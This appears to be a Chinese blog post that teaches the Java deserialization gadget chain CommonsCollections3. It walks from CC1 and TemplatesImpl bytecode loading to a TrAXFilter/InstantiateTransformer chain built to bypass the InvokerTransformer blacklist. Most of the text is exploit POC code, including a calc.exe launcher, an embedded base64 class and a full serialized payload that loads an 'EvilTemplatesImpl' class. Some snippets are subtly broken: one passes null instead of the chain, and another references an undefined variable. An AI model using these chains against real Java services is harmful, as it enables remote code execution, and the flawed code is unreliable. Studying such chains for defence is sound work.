Java安全之CC3

前言

上一篇文章学习了Java中加载字节码的⼀些⽅法,其中介绍了TemplatesImpl,TemplatesImpl 是⼀个可以加载字节码的类,通过调⽤其newTransformer()⽅法,即可执⾏这段字节码的类构造器。

分析

在CC1中,我们说可以利⽤TransformedMap执⾏任意Java⽅法;

public class CommonCollections1 {     public static void main(String[] args) throws Exception {         Transformer[] transformers = new Transformer[]{                 new ConstantTransformer(Runtime.getRuntime()),                 new InvokerTransformer("exec", new Class[]{String.class},                         new Object[]{"C:/Windows/System32/calc.exe"}),         };         Transformer transformerChain = new ChainedTransformer(transformers);         Map innerMap = new HashMap();         Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);         outerMap.put("test", "xxxx");     } } 

⽽在Java安全之动态加载字节码中,我们⼜学习了如何利⽤TemplatesImpl执⾏字节码

public static void main(String[] args) throws Exception { // source: bytecodes/HelloTemplateImpl.java         byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA" +                 "CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" +                 "TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0" +                 "aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm" +                 "KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y" +                 "Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw" +                 "YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp" +                 "bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb" +                 "DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB" +                 "AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj" +                 "dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z" +                 "bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry" +                 "ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n" +                 "OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA" +                 "AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA" +                 "AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA" +                 "DwABABAAAAACABE=");         TemplatesImpl obj = new TemplatesImpl();         setFieldValue(obj, "_bytecodes", new byte[][]{code});         setFieldValue(obj, "_name", "HelloTemplatesImpl");         setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());         obj.newTransformer();     } } 

只需要结合这两段POC,即可很容易地改造出⼀个执⾏任意字节码的CommonsCollections利⽤ 链:只需要将第⼀个demo中InvokerTransformer执⾏的“⽅法”改 成 TemplatesImpl::newTransformer() ,即为

Transformer[] transformers = new Transformer[]{  new ConstantTransformer(obj),  new InvokerTransformer("newTransformer", null, null) }; 

完整POC如下:

public class a {     public static void setFieldValue(Object obj, String fieldName, Object Value) throws Exception {         Field field = obj.getClass().getDeclaredField(fieldName);         field.setAccessible(true);         field.set(obj, Value);     }      public static void main(String[] args) throws Exception { // source: bytecodes/HelloTemplateImpl.java         byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA" +                 "CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" +                 "TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0" +                 "aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm" +                 "KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y" +                 "Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw" +                 "YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp" +                 "bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb" +                 "DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB" +                 "AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj" +                 "dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z" +                 "bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry" +                 "ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n" +                 "OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA" +                 "AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA" +                 "AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA" +                 "DwABABAAAAACABE=");         TemplatesImpl obj = new TemplatesImpl();         setFieldValue(obj, "_bytecodes", new byte[][]{code});         setFieldValue(obj, "_name", "HelloTemplatesImpl");         setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());          Transformer[] transformers = new Transformer[]{                 new ConstantTransformer(obj),                 new InvokerTransformer("newTransformer", null, null)         };          Transformer chian = new ChainedTransformer(transformers);          Map innerMap = new HashMap();         Map outerMaP = TransformedMap.decorate(innerMap, null, null);         outerMaP.put("test", "xxxx");     } }  

我们来分析一下为什么可以这样构造。

首先在java安全之CC1浅学(1) 中,我们了解到CC链其核心原理是InvokerTransformer#transform,可以执行任意方法。

Java安全之动态加载字节码中我们了解到TemplatesImpl加载字节码的调用链前边TemplatesImpl#newTransformer()

那么我们可以将InvokerTransformer参数由原来的exec()方法换成newTransformer()方法,这样就组成了一条新的链

由于我们这里依旧使用了TransformedMap所以版本依旧限制在8U71之前

成功执行字节码

Java安全之CC3

ysoserial

再来看ysoserial中的CC3,可以发现其中没有使⽤到InvokerTransformer原因是什么呢?

Java安全之CC3

2015年初,@frohoff和@gebl发布了 Marshalling Pickles:how deserializing objects will ruin your day,以及反序列化利用工具yaoserial,安全开发者自然会去寻找一种安全的过滤方法,类似SerialKiller这样的工具随之诞生:

SerialKiller是⼀个Java反序列化过滤器,可以通过⿊名单与⽩名单的⽅式来限制反序列化时允许通过的类。在其发布的第⼀个版本代码中,我们可以看到其给出了最初的⿊名单

Java安全之CC3

这个⿊名单中InvokerTransformer赫然在列,也就切断了CommonsCollections1的利⽤链。ysoserial随后增加了不少新的Gadgets,其中就包括CommonsCollections3

CommonsCollections3的⽬的很明显,就是为了绕过⼀些规则对InvokerTransformer的限制。 CommonsCollections3并没有使⽤到InvokerTransformer来调⽤任意⽅法,⽽是⽤到了另⼀个 类, com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

这个类的构造⽅法中调⽤(TransformerImpl) templates.newTransformer(),免去了我们使⽤InvokerTransformer⼿⼯调⽤ newTransformer() ⽅法这⼀步

Java安全之CC3

当然,缺少了InvokerTransformer,TrAXFilter的构造⽅法也是⽆法调⽤的。这⾥会⽤到⼀个新的Transformer,就是 org.apache.commons.collections.functors.InstantiateTransformerInstantiateTransformer也是⼀个实现了Transformer接⼝的类,他的作⽤就是调⽤构造⽅法.

目标很明确了,利⽤InstantiateTransformer来调⽤到TrAXFilter的构造⽅法,再利⽤其构造⽅法⾥的templates.newTransformer()调⽤到TemplatesImpl⾥的字节码

构造的Transformer调⽤链如下:

Transformer[] transformers = new Transformer[]{  					new ConstantTransformer(TrAXFilter.class),  					new InstantiateTransformer(  								new Class[] { Templates.class },  								new Object[] { obj })  			}; 

替换到前⾯的demo中,也能成功触发,避免了使⽤InvokerTransformer

Java安全之CC3

接下来,就来构造一个完整的Payload:

public class CC3 {     public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {         Field field = obj.getClass().getDeclaredField(fieldName);         field.setAccessible(true);         field.set(obj, value);     }      public static void main(String[] args) throws Exception {         TemplatesImpl obj = new TemplatesImpl();         setFieldValue(obj, "_bytecodes", new byte[][]{                 ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()         });         setFieldValue(obj, "_name", "HelloTemplatesImpl");         setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());          Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};         Transformer[] transformers = new Transformer[]{                 new ConstantTransformer(TrAXFilter.class),                 new InstantiateTransformer(                         new Class[] { Templates.class },                         new Object[] { obj })         };          Transformer chain = new ChainedTransformer(fakeTransformers);          Map innerMap = new HashMap();         innerMap.put("value", "xxxx");         Map outerMap = TransformedMap.decorate(innerMap, null, chain);          Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");         Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);         construct.setAccessible(true);         InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);          setFieldValue(transformerChain, "iTransformers", transformers);         // ==================         // 生成序列化字符串         ByteArrayOutputStream barr = new ByteArrayOutputStream();         ObjectOutputStream oos = new ObjectOutputStream(barr);         oos.writeObject(handler);         oos.close();          // 本地测试触发         // System.out.println(barr);         ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));         Object o = (Object) ois.readObject();     } } 

这个POC也有CommonsCollections1⼀样的问题,就是只⽀持Java 8u71及以下版本,我们可以参考Java安全之CC6 进行改造让其能通杀Java7和Java8。

发表评论

评论已关闭。

相关文章